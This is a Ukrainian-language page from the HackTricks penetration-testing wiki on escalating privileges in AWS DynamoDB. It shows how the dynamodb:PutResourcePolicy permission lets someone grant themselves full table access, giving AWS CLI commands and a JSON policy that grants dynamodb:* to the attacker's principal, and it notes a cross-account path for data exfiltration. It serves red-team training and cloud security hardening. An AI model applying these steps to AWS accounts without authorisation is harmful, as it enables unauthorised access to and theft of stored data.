AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
dynamodb
Для отримання додаткової інформації про dynamodb перегляньте:
dynamodb:PutResourcePolicy
, і за бажанням dynamodb:GetResourcePolicy
З березня 2024 року AWS пропонує політики на основі ресурсів для DynamoDB (AWS News).
Отже, якщо у вас є dynamodb:PutResourcePolicy
для таблиці, ви можете просто надати собі або будь-якому іншому суб'єкту повний доступ до таблиці.
Надання dynamodb:PutResourcePolicy
випадковому суб'єкту часто відбувається випадково, якщо адміністратори вважають, що надання dynamodb:Put*
дозволить лише суб'єкту додавати елементи до бази даних - або якщо вони надали цей набір дозволів до березня 2024 року...
В ідеалі, у вас також є dynamodb:GetResourcePolicy
, щоб ви не перезаписували інші потенційно важливі дозволи, а лише інжектували додаткові дозволи, які вам потрібні:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Якщо ви не можете отримати поточну політику, просто використайте цю, яка надає повний доступ до таблиці вашому принципалу:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Якщо вам потрібно налаштувати це, ось список усіх можливих дій DynamoDB: AWS Documentation. А ось список усіх дій, які можуть бути дозволені через політику на основі ресурсів І які з них можуть використовуватися між обліковими записами (подумайте про ексфільтрацію даних!): AWS Documentation
Тепер, з документом політики policy.json
, додайте політику ресурсу:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Тепер у вас повинні бути потрібні дозволи.
Постексплуатація
Наскільки мені відомо, немає іншого прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS dynamodb
. Ви можете читати чутливу інформацію з таблиць (яка може містити облікові дані AWS) і записувати інформацію в таблиці (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на сторінці Постексплуатації DynamoDB:
AWS - DynamoDB Post Exploitation
TODO: Читати дані, зловживаючи потоками даних
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.